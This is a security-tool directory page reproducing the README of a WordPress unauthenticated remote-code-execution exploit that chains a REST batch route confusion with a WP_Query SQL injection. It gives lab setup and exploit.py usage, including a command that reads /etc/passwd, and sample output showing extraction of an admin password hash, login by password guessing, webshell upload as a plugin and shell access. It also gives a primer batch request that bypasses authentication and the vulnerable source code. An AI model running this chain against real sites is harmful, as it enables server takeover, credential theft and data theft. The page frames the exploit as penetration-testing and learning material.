Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-60137_CVE-2026-63030 — WordPress unauthenticated RCE exploit combining route confusion and SQL injection. Automated script, lab setup, and detailed vulnerability analysis provided. | Kitploit
Tools/GitHubGitHub/dungsocool/cve-2026-60137_cve-2026-63030
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubdungsocool/cve-2026-60137_cve-2026-63030

CVE-2026-60137_CVE-2026-63030

WordPress unauthenticated RCE exploit combining route confusion and SQL injection. Automated script, lab setup, and detailed vulnerability analysis provided.

View Repository
212 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-60137 + CVE-2026-63030 — WordPress Unauthenticated RCE

Vulnerability: REST Batch Route Confusion + WP_Query SQL Injection → Full RCE

CVSS v3.1: 10.0 / 10.0 — CRITICAL | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Affected: WordPress 6.9.0–6.9.4, 7.0.0–7.0.1 | Patched: 6.9.5, 7.0.2

Zero credentials → Route Confusion → SQLi → Admin → Shell Upload → RCE (www-data)

Quick Start

1. Set Up the Vulnerable Lab

Requirements: Docker + Docker Compose

git clone https://github.com/Dungsocool/CVE-2026-60137_CVE-2026-63030.git
cd CVE-2026-60137_CVE-2026-63030

# Start vulnerable WordPress
docker compose up -d

# Wait ~30 seconds for WordPress to initialize, then open:
# http://localhost:8080

2. Run the Exploit

pip install requests

# Full auto chain — interactive shell
python3 exploit.py http://localhost:8080

# Or run a single command
python3 exploit.py http://localhost:8080 --cmd "cat /etc/passwd"

# Check-only mode (no exploitation)
python3 exploit.py http://localhost:8080 --check-only

3. Expected Output

[*] Phase 1: Confirming Route Confusion (CVE-2026-63030)...
[+] Primer triggered: parse_path_failed
[+] Desync confirmed: rest_invalid_handler
[+] Route Confusion CONFIRMED — auth bypass possible

[*] Phase 2: SQL Injection — extracting admin credentials...
[+] Boolean-based blind SQLi CONFIRMED
[+] Admin username: admin
[+] Password hash: $wp$2y$10$...

[*] Phase 3: Attempting login with common passwords...
[+] LOGIN SUCCESS: admin:admin123

[*] Phase 4: Uploading webshell via plugin upload...
[+] Plugin uploaded
[+] Plugin activated

[*] Phase 5: RCE verification...
[+] Shell found at: /wp-content/plugins/shell/shell.php

[+] RCE CONFIRMED!
    uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-data@target$ _
image image

Files in This Repository

FileDescription
README.mdFull vulnerability analysis and exploitation writeup
exploit.pyAutomated exploit script (zero-access → RCE in one command)
docker-compose.ymlVulnerable WordPress lab environment
chain-rce.mdAutomated RCE chain documentation
images/Screenshots from manual exploitation

Detailed Vulnerability Analysis

CVE-2026-60137 (chained with CVE-2026-63030)

Vulnerability: Unauthenticated Remote Code Execution — REST Batch Route Confusion + WP_Query SQL Injection

CVSS v3.1: 10.0 / 10.0 — CRITICAL

Vector: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H


1. Overview

CVE-2026-60137 is an unauthenticated RCE vulnerability in WordPress core. It combines two independent bugs into a complete exploit chain from zero-access to full server compromise:

CVEBugRole in chain
CVE-2026-63030REST Batch Route ConfusionBypass authentication
CVE-2026-60137author__not_in SQL InjectionArbitrary database read/write

Affected versions:

  • Full RCE: WordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1
  • SQLi only (requires supporting plugin): 6.8.0 – 6.8.5
  • Patched: 6.9.5, 7.0.2, 7.1-beta2+

Exploitation conditions:

  • REST API is public (WordPress default)
  • No persistent object cache (default is none)
  • At least 1 published post (default "Hello World" exists)
  • No account or session required whatsoever

→ The vast majority of WordPress installations are vulnerable by default.

2. Terminology

REST Batch Endpoint (/wp-json/batch/v1)

Allows sending multiple REST API requests within a single HTTP request:

POST /wp-json/batch/v1
{
  "requests": [
    {"method": "GET", "path": "/wp/v2/posts/1"},
    {"method": "GET", "path": "/wp/v2/users/me"}
  ]
}

Each sub-request is matched with its own handler, and each handler has its own permission callback.

WP_Query — author__not_in

Core database query class. The author__not_in parameter accepts an array of integers, generating the SQL clause:

AND post_author NOT IN (5, 12, 23)

Each element passes through absint() → retaining only the integer part.

wp_parse_url()

Wrapper for parse_url(). When receiving an invalid URL → returns WP_Error.

wp_parse_url("https://example.com/path")  // → OK
wp_parse_url("///")                         // → WP_Error

3. Root Cause — Bug A: Batch Route Confusion (CVE-2026-63030)

File: wp-includes/rest-api/class-wp-rest-server.php

Vulnerable Source Code:

public function serve_batch_request_v1( WP_REST_Request $batch_request ) {
    $requests = $batch_request->get_json_params()['requests'];
    $matches  = array();

    foreach ( $requests as $i => $single_request ) {
        $parsed = wp_parse_url( $single_request['path'] );

        if ( is_wp_error( $parsed ) ) {
            $responses[ $i ] = $this->error_to_response( $parsed );
            continue;  // ←BUG: $matches[] is NOT appended
        }

        $matches[] = $this->match_request_to_handler( $parsed );
        // ← sequential indices 0, 1, 2... DO NOT match $i when an error occurs
    }

    // Dispatch — this is where the bug comes into play
    $match_index = 0;
    foreach ( $requests as $i => $single_request ) {
        if ( isset( $responses[ $i ] ) ) continue;

        $handler = $matches[ $match_index ];  // ← INDEX IS DESYNCED
        $match_index++;

        // Request[i] runs with the permission callback OF ANOTHER REQUEST
        $permission_callback = $handler['permission_callback'];
        call_user_func( $permission_callback, $single_request );
    }
}

Mechanism:

Batch Request:
  [0]: {"method": "POST", "path": "///"}         ← PRIMER (malformed)
  [1]: {"method": "POST", "path": "/wp/v2/posts", "body": {...}}

Processing:
  i=0: wp_parse_url("///") → WP_Error → skip → $matches NOT added
  i=1: wp_parse_url("/wp/v2/posts") → OK → $matches[0] = handler

Dispatch:
  i=0: skip (already has response)
  i=1: $handler = $matches[0]
       → But $matches[0] is NOT the handler meant for request[1]
       → Incorrect permission callback → bypass authentication

Why does "///" trigger the bug?

When PHP parse_url() encounters "///", it attempts to parse it according to RFC 3986 — URL structure:

scheme ://   authority  /       path
  │              │              │
"https"    "localhost:8080"   "/wp/v2/posts"
                 │
             host + port

When receiving "///", it interprets it as:

//   → authority begins (double slash = has host)
/    → empty authority, path begins immediately
→ host = ""  (empty)
→ path = ""  (empty)
→ scheme = none

PHP return result:

parse_url("///")
// → ["host" => "", "path" => ""]
// or false — depending on PHP version

WordPress wraps this in wp_parse_url() → detects no valid scheme, no valid host, no meaningful path → returns WP_Error.

wp_parse_url("///") returns WP_Error (URL malformed). This error causes the request to be skipped in the loop building $matches, but it is NOT skipped in the dispatch loop → the array becomes desynced.

4. Root Cause — Bug B: SQL Injection (CVE-2026-60137)

File: wp-includes/class-wp-query.php

Vulnerable Source Code:

class WP_Query {
    public function get_posts() {
        global $wpdb;

        if ( ! empty( $q['author__not_in'] ) ) {
            $author_not_in = implode(',', wp_parse_id_list($q['author__not_in']));
            $where .= " AND{$wpdb->posts}.post_author NOT IN ($author_not_in)";
            //                                                   ↑ INJECTION POINT
        }
    }
}
Download Tool